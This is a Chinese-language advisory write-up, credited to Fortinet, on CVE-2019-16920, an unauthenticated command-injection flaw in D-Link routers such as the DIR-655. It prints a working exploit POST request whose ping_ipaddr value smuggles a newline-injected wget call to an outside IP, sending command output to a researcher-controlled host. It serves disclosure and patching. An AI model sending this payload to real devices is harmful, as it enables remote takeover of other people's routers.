2019年9月,Fortinet FortiGuard實驗室發現並報告了D-Link 產品中的有個非認證的命令注入漏洞——CVE-2019-16920,成功利用該漏洞可以導致遠程代碼執行。因為該漏洞可以在不經過認證的情況下遠程觸發,因此研究人員將該漏洞評為中危。
受影響的產品包括D-Link的:
· DIR-655
· DIR-866L
· DIR-652
· DHP-1565
漏洞細節
該漏洞源於一個失敗的認證檢查。為了了解該問題,研究人員首先查看了admin頁面,然後執行了login動作。
POST /apply_sec.cgi HTTP/1.1
Host: 192.168.232.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 142
Connection: close
Referer: http://192.168.232.128/
Upgrade-Insecure-Requests: 1
html_response_page=login_pic.asp&login_name=YWRtaW4%3D&log_pass=&action=do_graph_auth&login_n=admin&tmp_log_pass=&
graph_code=&session_id=62384
List 1: Login Request
登陸動作是通過URI /apply_sec.cgi完成的。快速檢索發現 apply_sec.cgi 代碼位於/www/cgi/ssi 的do_ssc (0x40a210)函數中。current_user 和 user_username的值是來源於nvram中的:
圖1: do_ssc代碼段
然後函數會比較current_user和變量acStack160的值。
nvram中的current_user值只有成功登陸後才會設置,所以該值默認情況下是不初始化的。AcStack160的值是base64encode(user_username)的解果,所以默認情況下user_username會被設置為 「user」,所以iVar2不會返回0,也不會返回到error.asp 頁面。
圖2: do_ssc代碼段2
在do-while循環的代碼中,程序會調用函數put_querystring_env()來分析HTTP POST請求,並保存值到ENV中。然後函數會調用query_vars(「action」, acStack288, 0x80)
圖3: 函數query_vars 代碼段
這就為action提供了值,會保存為ENV中的acStack288。如果一切順利的話,返回的值就是0。
變量 iVar2等於0後,就到了if條件。他會將URI的值與字符串「/apply_sec.cgi」進行比較。如果匹配超過, ppcVar3 就會指向SSC_SEC_OBJS數組,否則就指向SSC_OBJS數組。
圖4: do_ssc代碼段3
ppcVar3指向了 SSC_SEC_OBJS數組,這是action值list。如果我們輸入不在list中的值,程序就會返回LAB_0040a458,並報錯「No OBJS for action: <action input>」。
圖5: do_ssc中的錯誤輸出代碼段
可以在圖2中看到失敗的認證檢查。即使在沒有認證的情況下代碼也會執行,也就是說可以在/apply_sec.cgi路徑下的SSC_SEC_OBJS數組中執行任意動作。
SSC_SEC_OBJS action數組位於 init_plugin()函數的寄存器register中:
圖6: init_plugin代碼段
下面查看地址0x0051d89c,並將其變量轉化為word類型,可以看到以下數組:
圖7: address 0x0051d89C
其中有有個action需要關注:
圖8: 字符串 ping_test和action 地址
然後到了 sub_41A010,該函數會從param ping_ipaddr中獲取值。並通過inet_aton(), inet_ntoa()函數轉化,然後執行ping:
圖9: sub_41A010代碼段
如果嘗試輸入特殊字符,比如雙引號、引號等,ping就會失敗。但是如果加入換行符,就可以執行命令注入:
POST /apply_sec.cgi HTTP/1.1
Host: 192.168.232.128
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 131
Connection: close
Referer: http://192.168.232.128/login_pic.asp
Cookie: uid=1234123
Upgrade-Insecure-Requests: 1
html_response_page=login_pic.asp&action=ping_test&ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20http://45.76.148.31:4321/?$(echo 1234)
List 2: ping_test動作中的Exploit Request
下面用action ping_test實現到apply_sec.cgi的POST HTTP請求。然後研究人員在ping_ipaddr中執行了命令注入。即使返回了login頁面,ping_test動作仍然執行了,ping_ipaddr的值會執行路由器伺服器的「echo 1234」命令,並返回結果到研究人員控制的伺服器。
圖10: 成功的漏洞利用流量
攻擊者可以利用這種方式來提取admin密碼,安裝後門到伺服器中。
結論
該漏洞的根源在於沒有對原生系統命令執行的命令進行檢查,這也是許多固件廠商存在的安全問題。該漏洞CVE編號為CVE-2019-16920。研究人員建議受影響的D-Link用戶更新到最新的產品或固件。
註:本文參考自:fortinet.com